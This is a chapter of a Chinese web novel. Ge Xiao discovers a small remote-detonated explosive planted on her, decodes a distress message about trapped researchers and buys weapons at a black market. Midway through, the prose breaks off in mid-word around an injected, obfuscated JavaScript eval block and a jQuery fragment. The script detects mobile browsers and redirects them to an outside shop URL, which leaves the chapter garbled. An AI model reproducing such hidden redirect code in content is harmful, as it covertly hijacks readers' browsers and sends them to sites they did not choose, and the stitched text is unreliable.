“徐图之”三个字对于歌啸而言不算陌生。
初高中时,和她同一个小区的学弟也是这个名字,两人一度非常熟悉。在学弟高中毕业后,因为大学不同,她和学弟已经很有几年没有联系,不知道对方近况如何。
歌啸看着指尖类似C4的黑色橡皮泥状物,心想:徐图之也不算多么大众的名字,竟然能在迪米娅遇到同名同姓的人,世界未免太小了。
炸弹小小一颗,在无人发觉时牢牢黏在她后颈,倘若爆炸力足够,大概能直接炸断她的脖子。
接触过自己后背的人只有一个,“大白兔奶糖”面甜心苦,歌啸倒不怎么意外,乌行湘说过,雇佣兵没有傻的,人在外边走,脑袋随时会掉。她本以为自己心里有数,却还是差点着了道。
徐图之不求回报,已经走开了。
这是一种示好,潜意识告诉歌啸。
经过刚才炸弹的“洗礼”,徐图之的示好已经不能引起歌啸一丝一毫的波动,她警惕地思考着,自己究竟哪里得罪了烈火,让他们干出明着招揽,实则抹杀的活计?
歌啸突然从大学生涯掉到这里,所有知识只来自于学校生活和书本知识,生长在红旗下和幸福家庭里的人绞尽脑汁也想象不到乌漆嘛黑的地方到底是多黑,追人夺命过于无理和莫名其妙,让一向讲逻辑的人骇了一跳。
歌啸浑身发麻,对无法之地的险恶认识更近一步,炸弹差点被她下意识地抖落进垃圾桶。
下一秒,她收回指尖,捏着那坨橡皮泥,步调一拐。
虚拟人依旧露着最标准的微笑,热情地涌上来要为她服务。
歌啸把“橡皮泥”递给咨询处有实体形态的无口机器人,对虚拟人说:“我想检查一下,这是不是炸弹。”
机器人双眼炯炯有神,不过两眼,鉴定结果传到虚拟人的信息流里:“不必鉴定,这就是一种典型而昂贵的小型炸弹。不过炸力很微弱,您展示的剂量很难造成生命危险。”
徐图之说得没错。
“不是说,这种炸弹大部分情况性质稳定,需要□□才能引爆么?”
虚拟人解释:“您把它当成了C4炸药了吧?不是的,这是一款改良炸药,破坏力弱于C4,优点是更便于控制对手,内部植入纳米级电子元件就可以远程控制。举个例子,如果我要对您下手,但又不希望带走一具尸体,就会选择用它,它爆炸时产生的热量和声波可以精确烧毁人的神经。您是想把它用在哪儿?我可以给您最好的使用建议。”
“不用了。”歌啸礼貌地对虚拟人点头,又咨询了些其他关于炸药的信息。
情况变得更糟了,商林夏和烈火并不是想直接炸死她,而是想把她炸成高位截瘫!歌啸摸着后脖颈,觉得凉凉的。她抓抓头发,胸口升起不可自抑的暴躁。
这才是来到迪米娅的第二天。
“……”歌啸沉住气,把改良炸药小心翼翼地收进离自己最远的兜里。她手头火力不够,哪怕是一小点冲着自己来的炸药,都得想办法化为己用,发挥它最大的效用。
商林夏猛地打了个喷嚏。
恩家图完成了绮川给他的安排,正规规矩矩坐在卡座里,腰板绷直,有些不悦地看向她。
“干嘛?”商林夏理直气壮地回瞪,双手撑在腮边,继续对卡座甜点上下其手,“绮川到底什么时候回来啊?好无聊。”
循着人群缝隙,看到远处消失在电梯前的歌啸,商林夏“咦”了一声:“她怎么还没上台就要走?上午都快过去了。”
恩家图的视线随着商林夏看过去,只有人影攒动。他平平收回目光:“要不要跟上去?也许是你动作不干净,她发现了。”
“怎么可能!”商林夏瞳孔里满是被同伴不信任后的情感外露,她嘴唇翕动,只能靠唇语读取信息,“我手法很好的!一探一折,衣服后颈里面,就算洗衣服也不会特意去看的地方。喂!你是不是怀疑我的能力!”
恩家图不太习惯商林夏咋咋呼呼的模样,嘴巴抹了粘合剂似的一闭,再不多说一句话了。
这一番变故叫歌啸自知在乌行湘那儿学得还不够,世间武器千千万,她只掌握了最常用的部分皮毛而已。她在黑市地图指南前站了五分钟,心中标记好所有能阅读到资料或者杂志期刊的位置,并迅速地去其中一个标记点一目十行,把所有纸质内容翻了个遍。
这地方打造得书香氛围,实则是给楼上贩卖身体为生的野鸳鸯们制造氛围用的。歌啸在最里面隐蔽处翻阅一遍。里面不乏过季期刊和大量颜色读物,正经有用的东西少之又少,全夹带在边边角角。中途外面宽敞区域过来好几拨乱七八糟的男男女女,歌啸一读完就捂着鼻子悄身溜走,同时用力甩甩头,试图把没用的记忆甩出去。
但不枉费她来这儿看了一堆垃圾读物的时间,歌啸闭上眼,刚才读过的文字就能在脑海中呈现。在渺如二手烟海的过时读物里,竟奇异地夹藏着一卷还散发着油墨味的书籍,像是刚打印出来装订成册的,连安检磁条都没有。
也就是这几本,夹藏着她当下最需要的信息。
而在最后一页,油墨印刷时按压剐蹭了下,文字高度模糊,一样的英文印得满页都是,原文如何,已不可考。
但歌啸总觉得不对劲,那文字怎么看怎么熟悉,就像是潜藏在其下,还有另一层亟待解开真实意义的密文。
几种常用解谜思维都难以分析,歌啸百思不得其解,脚步下意识地转向嗜血酒吧,一进入喧闹区域,吵嚷声才堪堪将脑海里的信息盖过。
她去机器那匹配,正等前一个人操作完成时,一串叽里咕噜的本地语突然溜进她耳朵,歌啸循声望去,是两个男人在吵架。
心里自动将本地语按教材拆解成英文,毫无营养的谈话内容在歌啸脑袋里转成英文,铺陈开来,她有些烦躁。
轮到歌啸操作,正当她登录自己的账号,准备点击屏幕时,脑海灵光一现,语言和语言之间的关系本身就是一种密文!
最后一页英文空隙能拼成的字符以本地语的语言逻辑拼合重组,几番变幻后,一行拼音掷地有声地落在歌啸意识深处:我国科研人员被困于刻伊塔尔正北二十公里宗教武装据点,请求支援!
后面还有具体被困人数和被困地点情况,最末是一串符文,这一刻,歌啸那空了一年记忆的大脑灰质里忽地漏下一星半点儿东西:这串符文正是军方和他们来迪米娅的人的秘密印记!
消息是真的。
大量信息在脑内翻腾也不过一瞬,歌啸立刻关了页面,抬腿往外边走。
商林夏蹲守在高处,摸不着头脑:“不是,她又干嘛去了?还比不比了,我还想看看她实力究竟如何呢。”
恩家图在阴影处道:“你好奇,可以跟上去。”
“恐怕不行,”商林夏立刻遗憾拒绝,“绮川特意叮嘱过,要盯的人除了她,今天都在这里,我不能离开。要去你去。”
恩家图扫视下面一圈,最终快步离开,不远不近地跟在歌啸身后。
歌啸找了个隐蔽的角落蹲下,冥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838222|211545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思苦想该怎么单枪匹马救下二十来号人。
二十多人中最重要的是两位军械专家和社会学教授,剩下的是随队军医官一位、负责保护的行动队特勤人士十余名,还有七个跟着教授和专家出门访学来的硕博生。
密文可用字符有限,只提了一句这二十来人本来是跟着国际和平科研百人团,但途中组织内乱,为了安全,我军军方决定先行离开,在即将抵达迪米娅边界前夕,发生冲突,被宗教武装扣留了。
没有即时传递信息的手段,歌啸只能通过纸张油墨味勉强分辨出信息传到这儿起码有一天了。但自己只有一人,怎么操作是个大问题。
黑市有售卖武器的店面,她携带的金条甚至够买一些大型制式武器。背包空间有限,除非大张旗鼓地开车前去。她甚至不知道宗教武装的人员和武装细节,传信人只提了一句:危险级,B级。
B级代表什么程度?歌啸思绪高速运转,可惜这会儿记忆空空,什么提示都不给她,白白让她干着急。
也许可以反过来,通过雇佣佣兵的方式去救人……歌啸想到这儿,又摇头,迅速否定这个提案。
商林夏的炸药还在她兜里放着呢,她还没能来得及和任何佣兵建立信任,哪怕是乌行湘,也只知道她需要什么,而不知道她来自军方。就目前迪米娅佣兵说一套做一套的做派,歌啸不由得嘴唇发麻,可不敢把二十来号人身家性命都交给出尔反尔之士。
至于其他势力,不是还没来得及了解,就是难以接触到。把所有信息在脑海里转了一圈,歌啸悲伤地发现能行动的依然只有自己。她皱眉看天外,眼见太阳开始偏西,自己还要赶往二十公里外,直接站起身,把包裹甩向身前,义无反顾地走向武器店。
歌啸赶时间,面上却一点看不出来,以后这样的事说不上还有多少,歌啸必须用最少的钱买到尽可能多尽可能好的武器,她对着一堆枪支弹药挑挑拣拣,使出菜市场大爷大娘买菜砍价的经传,抠门到老板都拧起眉头。
越挑剔要求越具体,越说明她需要得急切,老板只喊高价,最终没能拗过歌啸去,只好神秘兮兮地使出第二推销大法:“这么些武器,你带得走吗,要不办张卡吧?办卡我就给你优惠200。”
歌啸面瘫脸,不过在全包式面罩下,再面瘫老板也看不清:“我穷,只有这么多预算,没钱办卡。”
“……”老板累了,他丧着脸,“那把高狙(高倍镜狙击枪)真不行,你的预算太低了。你要是不嫌弃,我有把二手的,瞄准镜坏了,不嫌弃就用那个。”
她看着老板搬出的第二支破烂高狙,眼中不由自主流露出一丝嫌弃。她一咬牙,放下其他本适配自己背包里枪支的弹药:“那我只要这把高狙和配装弹药,其他的都不要了。”
老板眉心狠狠攒住,高狙再贵,当然也没有消耗品弹药贵重,干脆心一横,把弹药划拉成两半:“价格是真压不了那么低,要不就刚才谈好的价格,药品和这些你拿走,半自动步.枪的弹药我收回去,我库房还有些报废品,要是不嫌弃,你随便挑两件拿走也就算了。”
库房在城外,堪称钢铁大垃圾堆,也就老板是囤积癖,不舍得丢。歌啸不仅在里面看见了没有车轱辘的半截死飞钢架,还看见了因不适配大部分器具而自动“报废”的气缸组件,总之,破破烂烂,什么都有。
她目光黏在那半辆死飞上,猛地抓住老板的胳膊,眼神都热切起来:“老板,能帮我拼辆车么?”
老板警惕地望着她:“你要改什么?”